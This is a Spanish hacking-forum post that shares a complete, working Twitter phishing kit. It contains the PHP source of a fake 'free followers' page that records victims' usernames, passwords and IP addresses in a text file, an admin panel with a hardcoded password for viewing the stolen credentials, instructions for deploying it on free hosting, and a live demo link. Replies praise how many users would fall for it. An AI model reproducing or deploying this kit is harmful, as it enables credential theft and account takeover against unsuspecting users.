Buenas soy bernatixer, hasta el día de hoy underc0de y sus usuarios me han proporcionado mucha información y herramientas, así que hoy decido aportar mi granito de arena a la comunidad.
Se trata de una página de phishing para twitter. La web pretende añadir seguidores (bots) a tu cuenta de twitter, y como todos sabemos cuando alguien con pocos conocimientos busca algo gratis (que normalmente es de pago) se descarga todo e introduce sus datos donde sea por tal de lograrlo. Así que en este caso nos vamos a aprovechar de esto.
Funcionamiento:
El usuario (víctima) entra en la web, introduce sus datos (usuario y contraseña :D) el número de seguidores que quiere (para hacerlo más real a partir de 1000 seguidores tendrá que pagar...) le da a un botón y que mala suerte! Ha ocurrido un error al añadir los seguidores a su cuenta.
Estos datos se guardaran en un archivo TXT, así que en ningún momento se va a necesitar MySQL, SQLite, o cualquier otro.
Y para terminar, hay un panel de admin de todas las víctimas, su usuario, contraseña y IP, todo automatico. (La contraseña default del panel de admin es 'b3rn4t1x3r').
Información técnica:
La web esta programada con Bootstrap para hacerla responsive, limpia etc... No se necesita descargar ningún archivo CSS ni JS, están todos alojados en un CDN y minificados, así que se aumenta el tiempo de respuesta. En resumen, todo esto es para que la víctima vea que la web esta algo trabajada y confíe mas en nosotros.
Si quieres provar la web, la he subido a mi servidor (Las IPs no se muestran en esta versión)
[Porvafor si quereis hacer phishing no paseis este link, seguid el tutorial de abajo]
Phishing: http://bernatixer.com/twitter/ (http://bernatixer.com/twitter/) Citar(http://i.imgur.com/4vLYfHd.png)
Panel: http://bernatixer.com/twitter/admin (http://bernatixer.com/twitter/admin)
Citar(http://i.imgur.com/Tn1c13d.png)
Tutorial:La web es muy fácil de editar, pero si no dominais mucho aquí van unas pequeñas explicaciones.
Teniendo en cuenta que el HTML es senzillo de entender voy a pasar directamente al PHP y si teneis alguna duda simplemente comentadla.
Lo que hace falta saber de PHP en el archivo 'index.php' es que si quereis cambiar el archivo de logs (Por defecto: datos.txt) teneis que canviar la variable [$fichero = "datos.txt";]
Del archivo 'admin.php' solo hace falta saber cambiar la pass, está en la línea 35. Nada mas, es algo senzillo en los dos casos.
No teneis servidor para hacer pruebas o subir la web? Os dejo una lista de hostings gratis:
- http://www.hostinger.es/
- https://www.000webhost.com/
IMPORTANTE: Recordad crear el archivo 'datos.txt', ya que sino no funcionara correctamente.
index.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Twitter - Bots</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<style>
body {
height:100%;
width:100%;
background-image: url("http://www.imperial.ac.uk/imedia/general_graphics/interact/images/twitterBG.jpg");
background-repeat: no-repeat;
background-size:cover;
}
.centrar {
min-height: 100vh;
display: flex;
align-items: center;
}
</style>
</head>
<body>
<?php
if (isset($_POST["usuario"]) && isset($_POST["pass"])) {
$fichero = "datos.txt";
$usuario = htmlentities(str_replace("<:>","",$_POST["usuario"]));
$pass = htmlentities(str_replace("<:>","",$_POST["pass"]));
$ip = $_SERVER['REMOTE_ADDR'];
$text = $usuario."<:>".$pass."<:>".$ip;
$nuevo = file_get_contents($fichero);
$nuevo .= $text."\n";
file_put_contents($fichero, $nuevo);
$m = "<div class='alert alert-danger' role='alert'>Error 225; No se han podido añadir los seguidores en tu cuenta.</div>";
}else{
$m = "";
}
?>
<div class="container centrar">
<div class="row">
<div class="col-md-12">
<div class="alert alert-info">
<h1><b>SEGUIDORES EN TWITTER GRATIS</b></h1><hr/>
<form method="POST" action="#">
<?php echo $m; ?>
<input name="usuario" type="text" class="form-control" placeholder="Nombre de usuario"><br/>
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<select class="form-control">
<option>10 seguidores (GRATIS)</option>
<option>50 seguidores (GRATIS)</option>
<option>100 seguidores (GRATIS)</option>
<option>1000 seguidores (GRATIS)</option>
<option>5000 seguidores (10€)</option>
<option>10000 seguidores (50€)</option>
</select><br/>
<button class="btn btn-success btn-lg btn-block" type="submit">Añadir seguidores</button>
</form>
</div>
</div>
</div>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</body>
</html>
admin.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Twitter - Bots</title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" integrity="sha384-1q8mTJOASx8j1Au+a5WDVnPi2lkFfwwEAa8hDDdjZlpLegxhjVME1fgjWPGmkzs7" crossorigin="anonymous">
<style>
body {
height:100%;
width:100%;
background-image: url("https://mal.sec.gd/images/bgSlider/img01.png");
background-repeat: no-repeat;
background-size:cover;
}
.espacio {
margin-top: 5vh;
}
</style>
</head>
<body>
<div class="container espacio">
<div class="alert alert-danger">
<?php
if (!isset($_POST["pass"])) {
?>
<form method="POST" action="#">
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
</form>
<?php
exit;
} else {
if ($_POST["pass"] != "b3rn4t1x3r") {
?>
<div class='alert alert-warning' role='alert'>Contraseña incorrecta</div>
<form method="POST" action="#">
<input name="pass" type="password" class="form-control" placeholder="Contraseña"><br/>
<button class="btn btn-danger btn-lg btn-block" type="submit">Entrar</button>
</form>
<?php
} else {
?>
<div class="text-right"><a class="btn btn-danger" href="">Salir</a></div>
<h2>Datos de los usuarios</h2><hr/>
<table class="table table-striped">
<thead>
<tr>
<th>Usuario</th>
<th>Contraseña</th>
<th>IP</th>
</tr>
</thead>
<tbody>
<?php
$fichero = fopen('datos.txt','r');
while ($linea = fgets($fichero)) {
$array = explode('<:>', trim($linea));
echo "<tr>";
echo "<th><font color='green'>". $array[0] ."</font></th>";
echo "<th><font color='green'>". $array[1] ."</font></th>";
echo "<th><font color='green'>". $array[2] ."</font></th>";
echo "</tr>";
}
fclose($fichero);
?>
</tbody>
</table>
</div>
<?php
}
}
?>
</div>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/js/bootstrap.min.js" integrity="sha384-0mSbJDEHialfmuBBQP6A4Qrprq5OVfW37PRR3j5ELqxss1yVqOtnepnHVP9aJ7xS" crossorigin="anonymous"></script>
</body>
</html>
Muy bueno!
Ya te lo he dicho por skype, pero recalco por aqui tambien. Ese código tiene XSS :D
Si puedes arreglarlo sería genial.
Muy bueno bro!
Respecto a lo que dice @rollth (http://underc0de.org/foro/index.php?action=profile;u=30952), te dejo un link de un taller de XSS que hicimos: https://underc0de.org/foro/talleres-underc0de-213/taller-de-seguridad-web-1/
Ahi aparecen dos formas de fixear el XSS
Saludos!
ANTRAX
Gracias por avisar de la vulnerabilidad, ya esta solucionado ;)
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Gracias por avisar de la vulnerabilidad, ya esta solucionado ;)
Gran trabajo bro! Muy buen aporte!
Te dejare +c0in
Excelente fake, realmente sencillo y eficaz, seguro que más de uno picaría ::) ;D
Y gran trabajo corrigiendo ese XSS!!
Saludos
Fuck, probé el xss antes de leer los comentarios y obviamente no saltó jajajaja.
Buen trabajo @Bernatixer (http://underc0de.org/foro/index.php?action=profile;u=27737), estoy seguro que caerían muchos usuarios con este tipo de métodos.
Saludos.
Buenas, tal vez sobre este comentario,si es asi disculpen, pero conocen setoolkit ?
https://www.trustedsec.com/social-engineer-toolkit/
No tienes permitido ver enlaces.
Registrate o Entra a tu cuenta
Buenas, tal vez sobre este comentario,si es asi disculpen, pero conocen setoolkit ?
https://www.trustedsec.com/social-engineer-toolkit/
Si es cierto, se podría usar SET. Hace un tiempo dejé un paper en el foro sobre eso
https://underc0de.org/foro/hacking/java-applet-attack-method-backdorizacion-con-set-by-antrax/
Saludos!
ANTRAX